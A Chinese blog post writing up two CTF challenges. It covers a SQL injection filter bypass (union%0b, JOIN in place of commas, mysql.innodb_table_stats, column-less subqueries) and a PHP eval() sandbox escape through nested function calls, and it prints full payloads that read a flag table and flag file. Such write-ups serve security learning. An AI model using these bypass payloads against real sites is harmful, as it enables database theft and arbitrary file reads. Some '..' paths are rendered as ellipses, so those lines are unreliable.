对两道CTF题目的研究

 Von's Blog     2019-11-15   3004 words    & views

sql注入

首先经过fuzz,得出主要过滤了以下字符:

and(&&) or(||) , max min -- xor ^  updatexml sleep if (union select) 

首先union select我们可以用union%0b绕过,至于逗号我们可以用join绕过。但是最蛋疼的是or被过滤,而我们的information_schema中有or,看了wp才了解了一种新的方法。

在此之前我们先来学习一下相关的知识。

mysql.innodb_table_stats表

在mysql5.6以上的版本中,会在系统库MYSQL库中存在两张与innodb相关的表innodb_index_stats和innodb_table_stats。 其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称,也就是和information_schema.schemata差不多。 innodb_table_stats存储的是innodb引擎的库名和表名,也就是和information_schema.tables差不多。 其结构如下: 那么也就意味着我们可以在注入中使用如:

group_concat(table_name) from mysql.innodb_table_stats where database_name = database()

来代替:

group_concat(table_name) from information_schema.tables where table_schema = database()

当然,这种方法的缺点就是它没有像information_schema.columns一样的表,所以没有办法用这种方法爆出列名,因此就需要借助我们接下来的子查询了。

子查询

子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询(inner query)语句的查询结果,可以为外层查询(outer query)语句提供查询条件。

我们先来看一个例子:

select 1,2,3,4,5,6,7,8 union select * from users
select (select 1)a,(select 2)b,(select 3)c,(select 4)d,(select 5)e,(select 6)f,(select 7)g,(select 8)h union select * from users

可以看出,在我们不知道列名的情况下我们得到了一个新表,并且将列名用1,2,3代替了。
接下来就可以利用子查询将数据归并。

select `3` from (select 1,2,3,4,5,6,7,8 union select * from users)a limit 1 offset 1;
select x.3 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d,(select 5)e,(select 6)f,(select 7)g,(select 8)h union select * from users)x limit 1 offset 1;

解决

所以我们可以构造出相应的payload:

/article.php?id=0' union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23
/article.php?id=0' union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23
/article.php?id=0' union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23

Decade

先来看核心代码:

<?php 
$code=@$_POST['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    @eval($code);
                }
                }
else
{
    echo 'NO first';
}

?>

题目通过正则表达式来限制传入函数的模式只能为a(b(c()));类似的嵌套模式。同时还过滤了一些函数。首先我们需要读取文件,想到的是scandir(); 但是无论是读取本文件夹的文件还是其他的我们都需要有个.。首先我们就要来考虑如何通过各种函数获取.。

获取.

<?php
echo pos(localeconv());
# .
echo chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
# .
?>

通过上面两种操作我们可以得到.

进行chdir()

以上这两种办法可以得到.但是我们发现该文件夹里面只有一个index.php,所以我们需要跳到上一级目录,也就是进行chdir(‘…’).
至于如何获取…呢?scandir(’.’)扫描当前目录后回显是’.’,’…’,第二个元素是…,所以还需要通过chdir(“…”)来切换目录,chdir()的返回值为1.

再次得到.

chdir()的返回值为1,我们需要从1得到.来让scandir()再次读取目录,我们可以用chr(46)得到.,所以问题就转化成如何从1得到46。
其中一种方法是通过time()函数,该函数可参数可以随意传

pos(localtime(time()));

该操作会返回一个0-60的值。
故有最终payload:

code=echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

多次发包即可得到flag.

参考文章

CSDN的文章
简书的文章